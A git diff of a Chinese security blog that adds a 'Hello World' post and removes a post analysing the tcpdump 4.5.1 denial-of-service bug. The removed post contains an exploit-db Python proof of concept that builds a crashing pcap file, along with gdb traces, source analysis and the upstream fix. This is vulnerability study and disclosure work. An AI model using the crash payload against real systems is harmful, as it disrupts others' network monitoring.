+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">Hello World</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2000-01-01T00:00:00+08:00">
+                2000-01-01
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2000/01/01/hello-world/" class="leancloud_visitors" data-flag-title="Hello World">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  9 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  1 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        
+          
+          你好！我是混元霹雳手
+
+          
+          <!--noindex-->
+          <div class="post-button text-center">
+            <a class="btn" href="/2000/01/01/hello-world/#more" rel="contents">
+              阅读全文 &raquo;
+            </a>
+          </div>
+          <!--/noindex-->
+        
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+
+    
+
     <footer class="post-footer">
       
 
@@ -2206,10 +2184,6 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
   </section>
 
   
-  <nav class="pagination">
-    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><a class="extend next" rel="next" href="/page/2/"><i class="fa fa-angle-right"></i></a>
-  </nav>
-
 
 
           </div>
@@ -2255,7 +2229,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -2266,7 +2240,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -2277,7 +2251,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -2348,7 +2322,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/search.xml b/search.xml
index 399c2ea0..f3b0fe66 100644
--- a/search.xml
+++ b/search.xml
@@ -75,18 +75,6 @@
         <tag>wifi</tag>
       </tags>
   </entry>
-  <entry>
-    <title><![CDATA[TCPDUMP拒绝服务攻击漏洞]]></title>
-    <url>%2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
-    <content type="text"><![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap. tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。 分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 漏洞复现这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。 编译安装tcpdump12345678910111. # apt-get install libpcap-dev2. # dpkg -l libpcap-dev3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz5. # cd tcpdump-4.5.1/6. # ./configure7. # make8. # make install9. # tcpdump –-version tcpdump version 4.5.1 libpcap version 1.7.4 生成payload（来自exploit-db payload）12345678910111213141516171819202122232425262728293031323334# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTSfrom subprocess import callfrom shlex import splitfrom time import sleepdef crash(): command = &apos;tcpdump -r crash&apos; buffer = &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos; buffer += &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos; buffer += &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos; buffer += &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos; buffer += &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot; buffer += &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot; buffer += &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos; with open(&apos;crash&apos;, &apos;w+b&apos;) as file: file.write(buffer) try: call(split(command)) print(&quot;Exploit successful! &quot;) except: print(&quot;Error: Something has gone wrong!&quot;)def main(): print(&quot;Author: David Silveiro &quot;) print(&quot; tcpdump version 4.5.1 Access Violation Crash &quot;) sleep(2) crash()if __name__ == &quot;__main__&quot;: main() 崩溃分析pcap包格式首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。123456789struct pcap_file_header &#123; bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */&#125;; 看一下各字段的含义：123456789101112131415161718192021 magic： 4字节 pcap文件标识 目前为“d4 c3 b2 a1” major： 2字节 主版本号 #define PCAP_VERSION_MAJOR 2 minor： 2字节 次版本号 #define PCAP_VERSION_MINOR 4 thiszone：4字节 时区修正 并未使用，目前全为0 sigfigs： 4字节 精确时间戳 并未使用，目前全为0 snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535）， tcpdump -s 0就是设置这个参数，缺省为68字节 linktype：4字节 链路类型 一般都是1：ethernetstruct pcap_pkthdr &#123; struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */&#125;;struct timeval &#123; long tv_sec; /* seconds (XXX should be time_t) */ suseconds_t tv_usec; /* and microseconds */&#125;; ts： 8字节 抓包时间 4字节表示秒数，4字节表示微秒数 caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节） len： 4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大 其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。 gdb调试首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置1234567891011121314151617181920212223242526272829303132333435361. Program received signal SIGSEGV, Segmentation fault.2. [----------------------------------registers-----------------------------------]3. EAX: 0x14. EBX: 0x81e33bd --&gt; 0x05. ECX: 0x2e (&apos;.&apos;)6. EDX: 0x07. ESI: 0xbfffe201 (&apos;.&apos; &lt;repeats 14 times&gt;)8. EDI: 0xbfffe1db --&gt; 0x30303000 (&apos;&apos;)9. EBP: 0x1062110. ESP: 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])11. EIP: 0x8053c6a (&lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1])12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)13. [-------------------------------------code-------------------------------------]14. 0x8053c5d &lt;hex_and_ascii_print_with_offset+93&gt;: je 0x8053d40 &lt;hex_and_ascii_print_with_offset+320&gt;15. 0x8053c63 &lt;hex_and_ascii_print_with_offset+99&gt;: mov ebx,DWORD PTR [esp+0x18]16. 0x8053c67 &lt;hex_and_ascii_print_with_offset+103&gt;: sub esp,0x417. =&gt; 0x8053c6a &lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1]18. 0x8053c6f &lt;hex_and_ascii_print_with_offset+111&gt;: movzx ecx,BYTE PTR [ebx+ebp*2]19. 0x8053c73 &lt;hex_and_ascii_print_with_offset+115&gt;: push edx20. 0x8053c74 &lt;hex_and_ascii_print_with_offset+116&gt;: mov ebx,edx21. 0x8053c76 &lt;hex_and_ascii_print_with_offset+118&gt;: mov DWORD PTR [esp+0x18],edx22. [------------------------------------stack-------------------------------------]23. 0000| 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])24. 0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c25. 0008| 0xbfffe1b4 --&gt; 0x126. 0012| 0xbfffe1b8 --&gt; 0x2f5967 (&apos;gY/&apos;)27. 0016| 0xbfffe1bc --&gt; 0x028. 0020| 0xbfffe1c0 --&gt; 0x029. 0024| 0xbfffe1c4 --&gt; 0x7ffffff930. 0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x031. [------------------------------------------------------------------------------]32. Legend: code, data, rodata, value33. Stopped reason: SIGSEGV34. hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:9136. 91 s2 = *cp++; 从崩溃信息来看，出错位置为s2 = cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp2+0x1]的内容，可能是越界读取造成的崩溃。再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。我们通过bt回溯一下调用情况。123456789101112131. gdb-peda$ bt2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:914. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af &quot;\n\t&quot;, cp=0x81e33bd &quot;&quot;, length=0xfffffff3) at ./print-ascii.c:1275. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 &lt;Gndo&gt;, h=0xbfffe40c, p=&lt;optimized out&gt;) at ./print-802_15_4.c:1806. #3 0x080a0aea in print_packet (user=0xbfffe4dc &quot; \023\036\b\300\034\005\b\001&quot;, h=0xbfffe40c, sp=0x81e33a8 &quot;@\377&quot;)7. at ./tcpdump.c:19508. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.89. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.810. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:156911. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 &lt;main&gt;, argc=0x3, argv=0xbffff6c4, init=0x80b1230 &lt;__libc_csu_init&gt;,12. fini=0x80b1290 &lt;__libc_csu_fini&gt;, rtld_fini=0xb7fea880 &lt;_dl_fini&gt;, stack_end=0xbffff6bc) at ../csu/libc-start.c:29113. #8 0x0804c245 in _start () 函数调用流程1234pcap_loop |----print_packet |-----hex_and_ascii_print |-------- hex_and_ascii_print_with_offset 由此可见，从main函数开始了一连串函数调用，git源码下来看看。tcpdump.c找到pcap_loop调用12345678910111213141516171. do &#123;2. status = pcap_loop(pd, cnt, callback, pcap_userdata);3. if (WFileName == NULL) &#123;4. /*5. * We&apos;re printing packets. Flush the printed output,6. * so it doesn&apos;t get intermingled with error output.7. */8. if (status == -2) &#123;9. /*10. * We got interrupted, so perhaps we didn&apos;t11. * manage to finish a line we were printing.12. * Print an extra newline, just in case.13. */14. putchar(&apos;n&apos;);15. &#125;16. (void)fflush(stdout);17. &#125; 设置断点之后查看一下该函数的执行结果 pcap_loop通过callback指向print_packet,来看一下它的源码1234567891011121314151617181920212223241. static void2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)3. &#123;4. struct print_info *print_info;5. u_int hdrlen;6. ++packets_captured;7. ++infodelay;8. ts_print(&amp;h-&gt;ts);9. print_info = (struct print_info *)user;10. /*11. * Some printers want to check that they&apos;re not walking off the12. * end of the packet.13. * Rather than pass it all the way down, we set this global.14. */15. snapend = sp + h-&gt;caplen;16. if(print_info-&gt;ndo_type) &#123;17. hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====18. &#125; else &#123;19. hdrlen = (*print_info-&gt;p.printer)(h, sp);20. &#125;21. putchar(&apos;n&apos;);22. --infodelay;23. if (infoprint)24. info(0);&#125; 同样设置断点看该函数是如何调用执行的 这是我们可以根据call的信息，计算出调用的函数名 其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767725. u_int26. ieee802_15_4_if_print(struct netdissect_options *ndo,27. const struct pcap_pkthdr *h, const u_char *p)28. &#123;29. printf(&quot;address : %x\n&quot;,p);30. u_int caplen = h-&gt;caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为831. int hdrlen;32. u_int16_t fc;33. u_int8_t seq;34. if (caplen &lt; 3) &#123; //不满足35. ND_PRINT((ndo, &quot;[|802.15.4] %x&quot;, caplen));36. return caplen;37. &#125;38. fc = EXTRACT_LE_16BITS(p);39. hdrlen = extract_header_length(fc);40. seq = EXTRACT_LE_8BITS(p + 2);41. p += 3;42. caplen -= 3;//此时caplen = 543. ND_PRINT((ndo,&quot;IEEE 802.15.4 %s packet &quot;, ftypes[fc &amp; 0x7]));44. if (vflag)45. ND_PRINT((ndo,&quot;seq %02x &quot;, seq));46. if (hdrlen == -1) &#123;47. ND_PRINT((ndo,&quot;malformed! &quot;));48. return caplen;49. &#125;50. if (!vflag) &#123;51. p+= hdrlen;52. caplen -= hdrlen;53. &#125; else &#123;54. u_int16_t panid = 0;55. switch ((fc &gt;&gt; 10) &amp; 0x3) &#123;56. case 0x00:57. ND_PRINT((ndo,&quot;none &quot;));58. break;59. case 0x01:60. ND_PRINT((ndo,&quot;reserved destination addressing mode&quot;));61. return 0;62. case 0x02:63. panid = EXTRACT_LE_16BITS(p);64. p += 2;65. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));66. p += 2;67. break;68. case 0x03:69. panid = EXTRACT_LE_16BITS(p);70. p += 2;71. ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p)));72. p += 8;73. break;74. &#125;75. ND_PRINT((ndo,&quot;&lt; &quot;);76. switch ((fc &gt;&gt; 14) &amp; 0x3) &#123;77. case 0x00:78. ND_PRINT((ndo,&quot;none &quot;));79. break;80. case 0x01:81. ND_PRINT((ndo,&quot;reserved source addressing mode&quot;));82. return 0;83. case 0x02:84. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;85. panid = EXTRACT_LE_16BITS(p);86. p += 2;87. &#125;88. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));89. p += 2;90. break;91. case 0x03:92. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;93. panid = EXTRACT_LE_16BITS(p);94. p += 2;95. &#125;96. ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p))));97. p += 8;98. break;99. &#125;100. caplen -= hdrlen;101. &#125; 传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。直接跟进函数，看看最后赋值情况 从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。继续跟进hex_and_asciii_print(ndo_default_print) 123456789101112131415161718192021222324252627282930311. void2. hex_and_ascii_print(register const char *ident, register const u_char *cp,3. register u_int length)4. &#123;5. hex_and_ascii_print_with_offset(ident, cp, length, 0);6. &#125;其中length==0xfffffff3，继续执行1. void2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,3. register u_int oset)4. &#123;5. register u_int i, s;6. register int nshorts;7.8. nshorts = (u_int) length / sizeof(u_short);9. i = 0;10. while (--nshorts &gt;= 0) &#123;11. if ((i++ % 8) == 0) &#123;12. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);13. oset += HEXDUMP_BYTES_PER_LINE;14. &#125;15. s = *cp++; &lt;======= 抛出错误位置16. (void)printf(&quot; %02x%02x&quot;, s, *cp++);17. &#125;18. if (length &amp; 1) &#123;19. if ((i % 8) == 0)20. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);21. (void)printf(&quot; %02x&quot;, *cp);22. &#125;nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬ 但数据包数据没有这么长，导致了crash。 内存分析仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。通过查看epx的值来看一下这个内存到底开辟到什么位置12341. gdb-peda$ x/10000000x 0x81e33bd2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x000000003. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x000000004. 0x8203ffd: Cannot access memory at address 0x8204000 可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –&gt; 0x0；EBP: 0x10621；EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。 漏洞总结总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。 漏洞修补Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本在hex_and_ascii_print_with_offset中增加对caplength的判断1234567891. caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;2. if (length &gt; caplength)3. length = caplength;4. nshorts = length / sizeof(u_short);5. i = 0;6. hsp = hexstuff; asp = asciistuff;7. while (--nshorts &gt;= 0) &#123;8. ...9. &#125; 可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。 参考exploit-db payloadWHEREISK0SHL分析博客libpcap/tcpdump源码]]></content>
-      <categories>
-        <category>二进制</category>
-      </categories>
-      <tags>
-        <tag>TCPDUMP</tag>
-        <tag>拒绝服务攻击</tag>
-      </tags>
-  </entry>
   <entry>
     <title><![CDATA[基于采集规则引擎的物联网设备发现方法]]></title>
     <url>%2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F</url>
diff --git a/sitemap.xml b/sitemap.xml
index 6ac66528..7bb5a82a 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -4,14 +4,7 @@
   <url>
     <loc>https://cool-y.github.io/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</loc>
     
-    <lastmod>2019-04-01T07:30:54.095Z</lastmod>
-    
-  </url>
-  
-  <url>
-    <loc>https://cool-y.github.io/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
-    
-    <lastmod>2019-03-28T07:54:21.703Z</lastmod>
+    <lastmod>2019-04-01T07:39:08.837Z</lastmod>
     
   </url>
   
diff --git a/tags/CVE/index.html b/tags/CVE/index.html
index 13e40a4f..010f4498 100644
--- a/tags/CVE/index.html
+++ b/tags/CVE/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/QQ/index.html b/tags/QQ/index.html
index 914353a0..ef1f29f5 100644
--- a/tags/QQ/index.html
+++ b/tags/QQ/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/SSH/index.html b/tags/SSH/index.html
index c51de5cf..b9171043 100644
--- a/tags/SSH/index.html
+++ b/tags/SSH/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/Samba/index.html b/tags/Samba/index.html
index 21c07ef4..f64de0d0 100644
--- a/tags/Samba/index.html
+++ b/tags/Samba/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html
index 5850733a..2269e1e0 100644
--- a/tags/USENIX/index.html
+++ b/tags/USENIX/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/index.html b/tags/index.html
index f121e88b..eb5fd36d 100644
--- a/tags/index.html
+++ b/tags/index.html
@@ -308,10 +308,10 @@
         
           <div class="tag-cloud">
             <div class="tag-cloud-title">
-                目前共计 27 个标签
+                目前共计 24 个标签
             </div>
             <div class="tag-cloud-tags">
-              <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; 